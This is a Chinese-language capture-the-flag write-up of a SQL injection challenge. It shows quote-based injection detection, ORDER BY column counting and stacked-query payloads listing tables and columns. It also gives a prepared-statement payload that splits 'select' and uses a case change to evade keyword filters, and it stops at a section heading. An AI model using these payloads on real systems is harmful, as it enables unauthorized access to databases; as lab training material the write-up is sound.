[強網杯 2019]隨便注
阿新 • • 發佈:2020-12-15
這是BUUCTF上刷的第一道題,題目看是SQL注入
1.根據經驗嘗試有無常規注入
1.1 探測有無注入
1’ 報錯
1’# 正常且為True
1’ and 1=1# 正常且為True
1’ and 1=2# 正常且為False
可以判斷出:存在注入且引數使用單引號閉合
原因:當輸入1’時,返回error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,說明原本輸入的引數在SQL檢索語句中使用’ ’,現在輸入的一個單引號閉合了原本搜尋語句中左邊單引號,剩餘多出一個單引號,故報錯 ;#符號為註釋符號,註釋掉右單引號,所以即使輸入單引號也不會報錯。
1.2 嘗試獲取列數
1’ order by 1#
1’ order by 2#
1’ order by 3# 報錯
order by n,其中n表示第n欄,當表中只有2個欄位時,oder by 3就會出錯,可以依據此方法判斷出表中的列數為2。
1.3嘗試獲取資料庫名,使用者等基本資訊
嘗試union查詢:1' union select null,user() #
頁面過濾了select、update、delete等搜尋詞,使用大小寫、加註釋等方法也無法避開。
2 堆疊注入
堆疊注入嘗試:在sql語句中以;表示一個語句的結束,如果一個sql語句結束後再接著一個sql語句,就會執行這兩條sql語句。
2.1 查詢所有的表
1';show tables;#
得到1919810931114514和words兩張表
2.2 查詢表中的列
1';show columns from `1919810931114514`;show columns from `words`;#
得出1919810931114514表中有一列flag為目標,words表中有兩列id和data
SQL語句中出現反引號``,為了區分MYSQL的保留字與普通字元而引入的符號,資料庫、表、索引、列和別名常用反引號。
2.3 找到flag的幾種方法
2.3.1 使用預處理語句+堆疊注入
預處理流程
# 用於設定變數名和值
SET;
# 用於預備一個語句並賦予名稱,以後可以引用該語句
PREPARE stmt_name FROM preparable_stmt;
#執行語句
EXECUTE stmt_name;
#用來釋放掉預處理的語句
{DEALLOCATE | DROP} PREPARE stmt_name;
插入payload
-1’ set @sql=CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; execute stmt;
得到結果,set和prepare被攔截
但是strstr函式對大小寫敏感,嘗試用大寫繞過,得到最後結果
2.3.2 修改表名